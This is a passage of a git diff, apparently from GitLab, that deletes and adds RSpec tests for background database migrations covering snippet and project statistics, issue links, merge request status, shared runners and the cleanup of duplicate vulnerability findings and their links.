- let(:user1_namespace_statistics) { namespace_statistics.find_by(namespace_id: user1_namespace.id) }
- let(:user2_namespace_statistics) { namespace_statistics.find_by(namespace_id: user2_namespace.id) }
-
- let(:ids) { snippets.pluck(:id) }
- let(:migration) { described_class.new }
-
- subject do
- migration.perform(ids)
- end
-
- before do
- allow_any_instance_of(Repository).to receive(:size).and_return(repo_size)
- end
-
- after do
- snippets.all.each { |s| raw_repository(s).remove }
- end
-
- context 'with existing personal snippets' do
- let!(:snippet1) { create_snippet(1, user1) }
- let!(:snippet2) { create_snippet(2, user1) }
- let!(:snippet3) { create_snippet(3, user2) }
- let!(:snippet4) { create_snippet(4, user2) }
-
- before do
- create_snippet_statistics(2, 0)
- create_snippet_statistics(4, 123)
- end
-
- it 'creates/updates all snippet_statistics' do
- expect { subject }.to change { snippet_statistics.count }.from(2).to(4)
-
- expect(snippet_statistics.pluck(:repository_size)).to be_all(expected_repo_size)
- end
-
- it 'creates/updates the associated namespace statistics' do
- expect(migration).to receive(:update_namespace_statistics).twice.and_call_original
-
- subject
-
- stats = snippet_statistics.where(snippet_id: [snippet1, snippet2]).sum(:repository_size)
- expect(user1_namespace_statistics.snippets_size).to eq stats
-
- stats = snippet_statistics.where(snippet_id: [snippet3, snippet4]).sum(:repository_size)
- expect(user2_namespace_statistics.snippets_size).to eq stats
- end
-
- context 'when an error is raised when updating a namespace statistics' do
- it 'logs the error and continue execution' do
- expect_next_instance_of(Namespaces::StatisticsRefresherService) do |instance|
- expect(instance).to receive(:execute).with(Namespace.find(user1_namespace.id)).and_raise('Error')
- end
-
- expect_next_instance_of(Namespaces::StatisticsRefresherService) do |instance|
- expect(instance).to receive(:execute).and_call_original
- end
-
- expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |instance|
- expect(instance).to receive(:error).with(message: /Error updating statistics for namespace/).once
- end
-
- subject
-
- expect(user1_namespace_statistics).to be_nil
-
- stats = snippet_statistics.where(snippet_id: [snippet3, snippet4]).sum(:repository_size)
- expect(user2_namespace_statistics.snippets_size).to eq stats
- end
- end
- end
-
- context 'when a snippet repository is empty' do
- let!(:snippet1) { create_snippet(1, user1, with_repo: false) }
- let!(:snippet2) { create_snippet(2, user1) }
-
- it 'logs error and continues execution' do
- expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |instance|
- expect(instance).to receive(:error).with(message: /Invalid snippet repository/).once
- end
-
- subject
-
- expect(snippet_statistics.find_by(snippet_id: snippet1.id)).to be_nil
- expect(user1_namespace_statistics.snippets_size).to eq expected_repo_size
- end
- end
-
- def create_snippet(id, author, with_repo: true)
- snippets.create!(id: id, type: 'PersonalSnippet', author_id: author.id, file_name: file_name, content: content).tap do |snippet|
- if with_repo
- allow(snippet).to receive(:disk_path).and_return(disk_path(snippet))
-
- raw_repository(snippet).create_repository
-
- TestEnv.copy_repo(snippet,
- bare_repo: TestEnv.factory_repo_path_bare,
- refs: TestEnv::BRANCH_SHA)
- end
- end
- end
-
- def create_snippet_statistics(snippet_id, repository_size = 0)
- snippet_statistics.create!(snippet_id: snippet_id, repository_size: repository_size)
- end
-
- def raw_repository(snippet)
- Gitlab::Git::Repository.new('default',
- "#{disk_path(snippet)}.git",
- Gitlab::GlRepository::SNIPPET.identifier_for_container(snippet),
- "@snippets/#{snippet.id}")
- end
-
- def hashed_repository(snippet)
- Storage::Hashed.new(snippet, prefix: '@snippets')
- end
-
- def disk_path(snippet)
- hashed_repository(snippet).disk_path
- end
-end
diff --git a/spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb b/spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb
deleted file mode 100644
index 7884e0d97c0..00000000000
--- a/spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb
+++ /dev/null
@@ -1,224 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::PopulateProjectSnippetStatistics do
- let(:file_name) { 'file_name.rb' }
- let(:content) { 'content' }
- let(:snippets) { table(:snippets) }
- let(:snippet_repositories) { table(:snippet_repositories) }
- let(:users) { table(:users) }
- let(:namespaces) { table(:namespaces) }
- let(:snippet_statistics) { table(:snippet_statistics) }
- let(:project_statistics) { table(:project_statistics) }
- let(:projects) { table(:projects) }
- let(:namespace_statistics) { table(:namespace_root_storage_statistics) }
- let(:routes) { table(:routes) }
- let(:repo_size) { 123456 }
- let(:expected_repo_size) { repo_size.megabytes }
-
- let(:user) { users.create!(id: 1, email: 'test@example.com', projects_limit: 100, username: 'test') }
- let(:group) { namespaces.create!(id: 10, type: 'Group', name: 'group1', path: 'group1') }
- let(:user_namespace) { namespaces.create!(id: 20, name: 'user', path: 'user', owner_id: user.id) }
-
- let(:project1) { create_project(1, 'test', group) }
- let(:project2) { create_project(2, 'test1', user_namespace) }
- let(:project3) { create_project(3, 'test2', group) }
-
- let!(:project_stats1) { create_project_statistics(project1) }
- let!(:project_stats2) { create_project_statistics(project2) }
- let!(:project_stats3) { create_project_statistics(project3) }
-
- let(:ids) { snippets.pluck(:id) }
- let(:migration) { described_class.new }
-
- subject do
- migration.perform(ids)
-
- project_stats1.reload if project_stats1.persisted?
- project_stats2.reload if project_stats2.persisted?
- project_stats3.reload if project_stats3.persisted?
- end
-
- before do
- allow_any_instance_of(Repository).to receive(:size).and_return(repo_size)
- end
-
- after do
- snippets.all.each { |s| raw_repository(s).remove }
- end
-
- context 'with existing user and group snippets' do
- let!(:snippet1) { create_snippet(1, project1) }
- let!(:snippet2) { create_snippet(2, project1) }
- let!(:snippet3) { create_snippet(3, project2) }
- let!(:snippet4) { create_snippet(4, project2) }
- let!(:snippet5) { create_snippet(5, project3) }
-
- before do
- create_snippet_statistics(2, 0)
- create_snippet_statistics(4, 123)
- end
-
- it 'creates/updates all snippet_statistics' do
- expect(snippet_statistics.count).to eq 2
-
- subject
-
- expect(snippet_statistics.count).to eq 5
-
- snippet_statistics.all.each do |stat|
- expect(stat.repository_size).to eq expected_repo_size
- end
- end
-
- it 'updates associated snippet project statistics' do
- expect(project_stats1.snippets_size).to be_nil
- expect(project_stats2.snippets_size).to be_nil
-
- subject
-
- snippets_size = snippet_statistics.where(snippet_id: [snippet1.id, snippet2.id]).sum(:repository_size)
- expect(project_stats1.snippets_size).to eq snippets_size
-
- snippets_size = snippet_statistics.where(snippet_id: [snippet3.id, snippet4.id]).sum(:repository_size)
- expect(project_stats2.snippets_size).to eq snippets_size
-
- snippets_size = snippet_statistics.where(snippet_id: snippet5.id).sum(:repository_size)
- expect(project_stats3.snippets_size).to eq snippets_size
- end
-
- it 'forces the project statistics refresh' do
- expect(migration).to receive(:update_project_statistics).exactly(3).times
-
- subject
- end
-
- it 'creates/updates the associated namespace statistics' do
- expect(migration).to receive(:update_namespace_statistics).twice.and_call_original
-
- subject
-
- expect(namespace_statistics.find_by(namespace_id: group.id).snippets_size).to eq project_stats1.snippets_size + project_stats3.snippets_size
- expect(namespace_statistics.find_by(namespace_id: user_namespace.id).snippets_size).to eq project_stats2.snippets_size
- end
-
- context 'when the project statistics does not exists' do
- it 'does not raise any error' do
- project_stats3.delete
-
- subject
-
- expect(namespace_statistics.find_by(namespace_id: group.id).snippets_size).to eq project_stats1.snippets_size
- expect(namespace_statistics.find_by(namespace_id: user_namespace.id).snippets_size).to eq project_stats2.snippets_size
- end
- end
-
- context 'when an error is raised when updating a project statistics' do
- it 'logs the error and continue execution' do
- expect(migration).to receive(:update_project_statistics).with(Project.find(project1.id)).and_raise('Error')
- expect(migration).to receive(:update_project_statistics).with(Project.find(project2.id)).and_call_original
- expect(migration).to receive(:update_project_statistics).with(Project.find(project3.id)).and_call_original
-
- expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |instance|
- expect(instance).to receive(:error).with(message: /Error updating statistics for project #{project1.id}/).once
- end
-
- subject
-
- expect(project_stats2.snippets_size).not_to be_nil
- expect(project_stats3.snippets_size).not_to be_nil
- end
- end
-
- context 'when an error is raised when updating a namespace statistics' do
- it 'logs the error and continue execution' do
- expect(migration).to receive(:update_namespace_statistics).with(Group.find(group.id)).and_raise('Error')
- expect(migration).to receive(:update_namespace_statistics).with(Namespace.find(user_namespace.id)).and_call_original
-
- expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |instance|
- expect(instance).to receive(:error).with(message: /Error updating statistics for namespace/).once
- end
-
- subject
-
- expect(namespace_statistics.find_by(namespace_id: user_namespace.id).snippets_size).to eq project_stats2.snippets_size
- end
- end
- end
-
- context 'when project snippet is in a subgroup' do
- let(:subgroup) { namespaces.create!(id: 30, type: 'Group', name: 'subgroup', path: 'subgroup', parent_id: group.id) }
- let(:project1) { create_project(1, 'test', subgroup, "#{group.path}/#{subgroup.path}/test") }
- let!(:snippet1) { create_snippet(1, project1) }
-
- it 'updates the root namespace statistics' do
- subject
-
- expect(snippet_statistics.count).to eq 1
- expect(project_stats1.snippets_size).to eq snippet_statistics.first.repository_size
- expect(namespace_statistics.find_by(namespace_id: subgroup.id)).to be_nil
- expect(namespace_statistics.find_by(namespace_id: group.id).snippets_size).to eq project_stats1.snippets_size
- end
- end
-
- context 'when a snippet repository is empty' do
- let!(:snippet1) { create_snippet(1, project1, with_repo: false) }
- let!(:snippet2) { create_snippet(2, project1) }
-
- it 'logs error and continues execution' do
- expect_next_instance_of(Gitlab::BackgroundMigration::Logger) do |instance|
- expect(instance).to receive(:error).with(message: /Invalid snippet repository/).once
- end
-
- subject
-
- expect(snippet_statistics.find_by(snippet_id: snippet1.id)).to be_nil
- expect(project_stats1.snippets_size).to eq snippet_statistics.find(snippet2.id).repository_size
- end
- end
-
- def create_snippet(id, project, with_repo: true)
- snippets.create!(id: id, type: 'ProjectSnippet', project_id: project.id, author_id: user.id, file_name: file_name, content: content).tap do |snippet|
- if with_repo
- allow(snippet).to receive(:disk_path).and_return(disk_path(snippet))
-
- raw_repository(snippet).create_repository
-
- TestEnv.copy_repo(snippet,
- bare_repo: TestEnv.factory_repo_path_bare,
- refs: TestEnv::BRANCH_SHA)
- end
- end
- end
-
- def create_project(id, name, namespace, path = nil)
- projects.create!(id: id, name: name, path: name.downcase.gsub(/\s/, '_'), namespace_id: namespace.id).tap do |project|
- path ||= "#{namespace.path}/#{project.path}"
- routes.create!(id: id, source_type: 'Project', source_id: project.id, path: path)
- end
- end
-
- def create_snippet_statistics(snippet_id, repository_size = 0)
- snippet_statistics.create!(snippet_id: snippet_id, repository_size: repository_size)
- end
-
- def create_project_statistics(project, snippets_size = nil)
- project_statistics.create!(id: project.id, project_id: project.id, namespace_id: project.namespace_id, snippets_size: snippets_size)
- end
-
- def raw_repository(snippet)
- Gitlab::Git::Repository.new('default',
- "#{disk_path(snippet)}.git",
- Gitlab::GlRepository::SNIPPET.identifier_for_container(snippet),
- "@snippets/#{snippet.id}")
- end
-
- def hashed_repository(snippet)
- Storage::Hashed.new(snippet, prefix: '@snippets')
- end
-
- def disk_path(snippet)
- hashed_repository(snippet).disk_path
- end
-end
diff --git a/spec/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id_spec.rb b/spec/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id_spec.rb
deleted file mode 100644
index 1830a7fc099..00000000000
--- a/spec/lib/gitlab/background_migration/recalculate_project_authorizations_with_min_max_user_id_spec.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::RecalculateProjectAuthorizationsWithMinMaxUserId, schema: 20181228175414 do
- let(:users_table) { table(:users) }
- let(:min) { 1 }
- let(:max) { 5 }
-
- before do
- min.upto(max) do |i|
- users_table.create!(id: i, email: "user#{i}@example.com", projects_limit: 10)
- end
- end
-
- describe '#perform' do
- it 'initializes Users::RefreshAuthorizedProjectsService with correct users' do
- min.upto(max) do |i|
- user = User.find(i)
- expect(Users::RefreshAuthorizedProjectsService).to(
- receive(:new).with(user, any_args).and_call_original)
- end
-
- described_class.new.perform(min, max)
- end
-
- it 'executes Users::RefreshAuthorizedProjectsService' do
- expected_call_counts = max - min + 1
-
- service = instance_double(Users::RefreshAuthorizedProjectsService)
- expect(Users::RefreshAuthorizedProjectsService).to(
- receive(:new).exactly(expected_call_counts).times.and_return(service))
- expect(service).to receive(:execute).exactly(expected_call_counts).times
-
- described_class.new.perform(min, max)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb b/spec/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb
new file mode 100644
index 00000000000..28aa9efde4f
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb
@@ -0,0 +1,175 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::RemoveOccurrencePipelinesAndDuplicateVulnerabilitiesFindings do
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let(:users) { table(:users) }
+ let(:user) { create_user! }
+ let(:project) { table(:projects).create!(id: 14219619, namespace_id: namespace.id) }
+ let(:scanners) { table(:vulnerability_scanners) }
+ let!(:scanner1) { scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
+ let!(:scanner2) { scanners.create!(project_id: project.id, external_id: 'test 2', name: 'test scanner 2') }
+ let!(:scanner3) { scanners.create!(project_id: project.id, external_id: 'test 3', name: 'test scanner 3') }
+ let!(:unrelated_scanner) { scanners.create!(project_id: project.id, external_id: 'unreleated_scanner', name: 'unrelated scanner') }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+ let(:vulnerability_findings) { table(:vulnerability_occurrences) }
+ let(:vulnerability_finding_pipelines) { table(:vulnerability_occurrence_pipelines) }
+ let(:vulnerability_identifiers) { table(:vulnerability_identifiers) }
+ let(:vulnerability_identifier) do
+ vulnerability_identifiers.create!(
+ id: 1244459,
+ project_id: project.id,
+ external_type: 'vulnerability-identifier',
+ external_id: 'vulnerability-identifier',
+ fingerprint: '0a203e8cd5260a1948edbedc76c7cb91ad6a2e45',
+ name: 'vulnerability identifier')
+ end
+
+ let!(:vulnerability_for_first_duplicate) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let!(:first_finding_duplicate) do
+ create_finding!(
+ id: 5606961,
+ uuid: "bd95c085-71aa-51d7-9bb6-08ae669c262e",
+ vulnerability_id: vulnerability_for_first_duplicate.id,
+ report_type: 0,
+ location_fingerprint: '00049d5119c2cb3bfb3d1ee1f6e031fe925aed75',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: scanner1.id,
+ project_id: project.id
+ )
+ end
+
+ let!(:vulnerability_for_second_duplicate) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let!(:second_finding_duplicate) do
+ create_finding!(
+ id: 8765432,
+ uuid: "5b714f58-1176-5b26-8fd5-e11dfcb031b5",
+ vulnerability_id: vulnerability_for_second_duplicate.id,
+ report_type: 0,
+ location_fingerprint: '00049d5119c2cb3bfb3d1ee1f6e031fe925aed75',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: scanner2.id,
+ project_id: project.id
+ )
+ end
+
+ let!(:vulnerability_for_third_duplicate) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let!(:third_finding_duplicate) do
+ create_finding!(
+ id: 8832995,
+ uuid: "cfe435fa-b25b-5199-a56d-7b007cc9e2d4",
+ vulnerability_id: vulnerability_for_third_duplicate.id,
+ report_type: 0,
+ location_fingerprint: '00049d5119c2cb3bfb3d1ee1f6e031fe925aed75',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: scanner3.id,
+ project_id: project.id
+ )
+ end
+
+ let!(:unrelated_finding) do
+ create_finding!(
+ id: 9999999,
+ uuid: "unreleated_finding",
+ vulnerability_id: nil,
+ report_type: 1,
+ location_fingerprint: 'random_location_fingerprint',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: unrelated_scanner.id,
+ project_id: project.id
+ )
+ end
+
+ subject { described_class.new.perform(first_finding_duplicate.id, unrelated_finding.id) }
+
+ before do
+ 4.times do
+ create_finding_pipeline!(project_id: project.id, finding_id: first_finding_duplicate.id)
+ create_finding_pipeline!(project_id: project.id, finding_id: second_finding_duplicate.id)
+ create_finding_pipeline!(project_id: project.id, finding_id: third_finding_duplicate.id)
+ create_finding_pipeline!(project_id: project.id, finding_id: unrelated_finding.id)
+ end
+ end
+
+ it 'removes Vulnerabilities::OccurrencePipelines for matching Vulnerabilities::Finding' do
+ expect(vulnerability_findings.count).to eq(4)
+ expect(vulnerability_finding_pipelines.count).to eq(16)
+
+ expect { subject }.to change(vulnerability_finding_pipelines, :count).from(16).to(8)
+ .and change(vulnerability_findings, :count).from(4).to(2)
+ end
+
+ private
+
+ def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
+ vulnerabilities.create!(
+ project_id: project_id,
+ author_id: author_id,
+ title: title,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type
+ )
+ end
+
+ # rubocop:disable Metrics/ParameterLists
+ def create_finding!(
+ id: nil,
+ vulnerability_id:, project_id:, scanner_id:, primary_identifier_id:,
+ name: "test", severity: 7, confidence: 7, report_type: 0,
+ project_fingerprint: '123qweasdzxc', location_fingerprint: 'test',
+ metadata_version: 'test', raw_metadata: 'test', uuid: 'test')
+ params = {
+ vulnerability_id: vulnerability_id,
+ project_id: project_id,
+ name: name,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type,
+ project_fingerprint: project_fingerprint,
+ scanner_id: scanner_id,
+ primary_identifier_id: vulnerability_identifier.id,
+ location_fingerprint: location_fingerprint,
+ metadata_version: metadata_version,
+ raw_metadata: raw_metadata,
+ uuid: uuid
+ }
+ params[:id] = id unless id.nil?
+ vulnerability_findings.create!(params)
+ end
+ # rubocop:enable Metrics/ParameterLists
+
+ def create_user!(name: "Example User", email: "user@example.com", user_type: nil, created_at: Time.zone.now, confirmed_at: Time.zone.now)
+ table(:users).create!(
+ name: name,
+ email: email,
+ username: name,
+ projects_limit: 0,
+ user_type: user_type,
+ confirmed_at: confirmed_at
+ )
+ end
+
+ def create_finding_pipeline!(project_id:, finding_id:)
+ pipeline = table(:ci_pipelines).create!(project_id: project_id)
+ vulnerability_finding_pipelines.create!(pipeline_id: pipeline.id, occurrence_id: finding_id)
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/remove_vulnerability_finding_links_spec.rb b/spec/lib/gitlab/background_migration/remove_vulnerability_finding_links_spec.rb
new file mode 100644
index 00000000000..fadee64886f
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/remove_vulnerability_finding_links_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::RemoveVulnerabilityFindingLinks, :migration, schema: 20211104165220 do
+ let(:vulnerability_findings) { table(:vulnerability_occurrences) }
+ let(:finding_links) { table(:vulnerability_finding_links) }
+
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user', type: Namespaces::UserNamespace.sti_name) }
+ let(:project) { table(:projects).create!(namespace_id: namespace.id) }
+ let(:scanner) { table(:vulnerability_scanners).create!(project_id: project.id, external_id: 'scanner', name: 'scanner') }
+ let(:vulnerability_identifier) do
+ table(:vulnerability_identifiers).create!(
+ project_id: project.id,
+ external_type: 'vulnerability-identifier',
+ external_id: 'vulnerability-identifier',
+ fingerprint: '7e394d1b1eb461a7406d7b1e08f057a1cf11287a',
+ name: 'vulnerability identifier')
+ end
+
+ # vulnerability findings
+ let!(:findings) do
+ Array.new(2) do |id|
+ vulnerability_findings.create!(
+ project_id: project.id,
+ name: 'Vulnerability Name',
+ severity: 7,
+ confidence: 7,
+ report_type: 0,
+ project_fingerprint: '123qweasdzxc',
+ scanner_id: scanner.id,
+ primary_identifier_id: vulnerability_identifier.id,
+ location_fingerprint: "location_fingerprint_#{id}",
+ metadata_version: 'metadata_version',
+ raw_metadata: 'raw_metadata',
+ uuid: "uuid_#{id}"
+ )
+ end
+ end
+
+ # vulnerability finding links
+ let!(:links) do
+ {
+ findings.first => Array.new(5) { |id| finding_links.create!(vulnerability_occurrence_id: findings.first.id, name: "Link Name 1", url: "link_url1.example") },
+ findings.second => Array.new(5) { |id| finding_links.create!(vulnerability_occurrence_id: findings.second.id, name: "Link Name 2", url: "link_url2.example") }
+ }
+ end
+
+ it 'removes vulnerability links' do
+ expect do
+ subject.perform(links[findings.first].first.id, links[findings.second].last.id)
+ end.to change { finding_links.count }.from(10).to(0)
+
+ expect(finding_links.all).to be_empty
+ end
+
+ it 'only deletes vulnerability links for the current batch' do
+ expected_links = [finding_links.where(vulnerability_occurrence_id: findings.second.id)].flatten
+
+ expect do
+ subject.perform(links[findings.first].first.id, links[findings.first].last.id)
+ end.to change { finding_links.count }.from(10).to(5)
+
+ expect(finding_links.all).to match_array(expected_links)
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/replace_blocked_by_links_spec.rb b/spec/lib/gitlab/background_migration/replace_blocked_by_links_spec.rb
deleted file mode 100644
index 6cfdbb5a14e..00000000000
--- a/spec/lib/gitlab/background_migration/replace_blocked_by_links_spec.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::ReplaceBlockedByLinks, schema: 20181228175414 do
- let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { table(:projects).create!(namespace_id: namespace.id, name: 'gitlab') }
- let(:issue1) { table(:issues).create!(project_id: project.id, title: 'a') }
- let(:issue2) { table(:issues).create!(project_id: project.id, title: 'b') }
- let(:issue3) { table(:issues).create!(project_id: project.id, title: 'c') }
- let(:issue_links) { table(:issue_links) }
- let!(:blocked_link1) { issue_links.create!(source_id: issue2.id, target_id: issue1.id, link_type: 2) }
- let!(:opposite_link1) { issue_links.create!(source_id: issue1.id, target_id: issue2.id, link_type: 1) }
- let!(:blocked_link2) { issue_links.create!(source_id: issue1.id, target_id: issue3.id, link_type: 2) }
- let!(:opposite_link2) { issue_links.create!(source_id: issue3.id, target_id: issue1.id, link_type: 0) }
- let!(:nochange_link) { issue_links.create!(source_id: issue2.id, target_id: issue3.id, link_type: 1) }
-
- subject { described_class.new.perform(issue_links.minimum(:id), issue_links.maximum(:id)) }
-
- it 'deletes any opposite relations' do
- subject
-
- expect(issue_links.ids).to match_array([nochange_link.id, blocked_link1.id, blocked_link2.id])
- end
-
- it 'ignores issue links other than blocked_by' do
- subject
-
- expect(nochange_link.reload.link_type).to eq(1)
- end
-
- it 'updates blocked_by issue links' do
- subject
-
- expect(blocked_link1.reload.link_type).to eq(1)
- expect(blocked_link1.source_id).to eq(issue1.id)
- expect(blocked_link1.target_id).to eq(issue2.id)
- expect(blocked_link2.reload.link_type).to eq(1)
- expect(blocked_link2.source_id).to eq(issue3.id)
- expect(blocked_link2.target_id).to eq(issue1.id)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb b/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb
deleted file mode 100644
index 2f5074649c4..00000000000
--- a/spec/lib/gitlab/background_migration/reset_merge_status_spec.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::ResetMergeStatus do
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org') }
- let(:project) { projects.create!(namespace_id: namespace.id, name: 'foo') }
- let(:merge_requests) { table(:merge_requests) }
-
- def create_merge_request(id, extra_params = {})
- params = {
- id: id,
- target_project_id: project.id,
- target_branch: 'master',
- source_project_id: project.id,
- source_branch: 'mr name',
- title: "mr name#{id}"
- }.merge(extra_params)
-
- merge_requests.create!(params)
- end
-
- it 'correctly updates opened mergeable MRs to unchecked' do
- create_merge_request(1, state_id: MergeRequest.available_states[:opened], merge_status: 'can_be_merged')
- create_merge_request(2, state_id: MergeRequest.available_states[:opened], merge_status: 'can_be_merged')
- create_merge_request(3, state_id: MergeRequest.available_states[:opened], merge_status: 'can_be_merged')
- create_merge_request(4, state_id: MergeRequest.available_states[:merged], merge_status: 'can_be_merged')
- create_merge_request(5, state_id: MergeRequest.available_states[:opened], merge_status: 'cannot_be_merged')
-
- subject.perform(1, 5)
-
- expected_rows = [
- { id: 1, state_id: MergeRequest.available_states[:opened], merge_status: 'unchecked' },
- { id: 2, state_id: MergeRequest.available_states[:opened], merge_status: 'unchecked' },
- { id: 3, state_id: MergeRequest.available_states[:opened], merge_status: 'unchecked' },
- { id: 4, state_id: MergeRequest.available_states[:merged], merge_status: 'can_be_merged' },
- { id: 5, state_id: MergeRequest.available_states[:opened], merge_status: 'cannot_be_merged' }
- ]
-
- rows = merge_requests.order(:id).map do |row|
- row.attributes.slice('id', 'state_id', 'merge_status').symbolize_keys
- end
-
- expect(rows).to eq(expected_rows)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects_spec.rb b/spec/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects_spec.rb
deleted file mode 100644
index ef90b5674f0..00000000000
--- a/spec/lib/gitlab/background_migration/reset_shared_runners_for_transferred_projects_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::ResetSharedRunnersForTransferredProjects, schema: 20181228175414 do
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
-
- let(:namespace_1) { namespaces.create!(name: 'foo', path: 'foo', shared_runners_enabled: true, allow_descendants_override_disabled_shared_runners: false ) }
- let(:namespace_2) { namespaces.create!(name: 'foo', path: 'foo', shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: false ) }
- let(:namespace_3) { namespaces.create!(name: 'bar', path: 'bar', shared_runners_enabled: false, allow_descendants_override_disabled_shared_runners: true ) }
- let(:project_1_1) { projects.create!(namespace_id: namespace_1.id, shared_runners_enabled: true) }
- let(:project_1_2) { projects.create!(namespace_id: namespace_1.id, shared_runners_enabled: false) }
- let(:project_2_1) { projects.create!(namespace_id: namespace_2.id, shared_runners_enabled: true) }
- let(:project_2_2) { projects.create!(namespace_id: namespace_2.id, shared_runners_enabled: false) }
- let(:project_3_1) { projects.create!(namespace_id: namespace_3.id, shared_runners_enabled: true) }
- let(:project_3_2) { projects.create!(namespace_id: namespace_3.id, shared_runners_enabled: false) }
-
- it 'corrects each project shared_runners_enabled column' do
- expect do
- described_class.new.perform(namespace_1.id, namespace_3.id)
- project_1_1.reload
- project_1_2.reload
- project_2_1.reload
- project_2_2.reload
- project_3_1.reload
- project_3_2.reload
- end.to not_change(project_1_1, :shared_runners_enabled).from(true)
- .and not_change(project_1_2, :shared_runners_enabled).from(false)
- .and change(project_2_1, :shared_runners_enabled).from(true).to(false)
- .and not_change(project_2_2, :shared_runners_enabled).from(false)
- .and not_change(project_3_1, :shared_runners_enabled).from(true)
- .and not_change(project_3_2, :shared_runners_enabled).from(false)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb b/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb
deleted file mode 100644
index 1fdbdf25706..00000000000
--- a/spec/lib/gitlab/background_migration/set_merge_request_diff_files_count_spec.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::SetMergeRequestDiffFilesCount, schema: 20181228175414 do
- let(:merge_request_diff_files) { table(:merge_request_diff_files) }
- let(:merge_request_diffs) { table(:merge_request_diffs) }
- let(:merge_requests) { table(:merge_requests) }
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
-
- let(:namespace) { namespaces.create!(name: 'foo', path: 'foo') }
- let(:project) { projects.create!(namespace_id: namespace.id) }
- let(:merge_request) { merge_requests.create!(source_branch: 'x', target_branch: 'master', target_project_id: project.id) }
-
- let!(:empty_diff) { merge_request_diffs.create!(merge_request_id: merge_request.id) }
- let!(:filled_diff) { merge_request_diffs.create!(merge_request_id: merge_request.id) }
-
- let!(:filled_diff_files) do
- 1.upto(3).map do |n|
- merge_request_diff_files.create!(
- merge_request_diff_id: filled_diff.id,
- relative_order: n,
- new_file: false,
- renamed_file: false,
- deleted_file: false,
- too_large: false,
- a_mode: '',
- b_mode: '',
- old_path: '',
- new_path: ''
- )
- end
- end
-
- it 'fills the files_count column' do
- described_class.new.perform(empty_diff.id, filled_diff.id)
-
- expect(empty_diff.reload.files_count).to eq(0)
- expect(filled_diff.reload.files_count).to eq(3)
- end
-
- it 'uses the sentinel value if the actual count is too high' do
- stub_const("#{described_class}::FILES_COUNT_SENTINEL", filled_diff_files.size - 1)
-
- described_class.new.perform(empty_diff.id, filled_diff.id)
-
- expect(empty_diff.reload.files_count).to eq(0)
- expect(filled_diff.reload.files_count).to eq(described_class::FILES_COUNT_SENTINEL)
- end
-end
diff --git a/spec/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb b/spec/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
deleted file mode 100644
index de9799c3642..00000000000
--- a/spec/lib/gitlab/background_migration/update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
+++ /dev/null
@@ -1,46 +0,0 @@
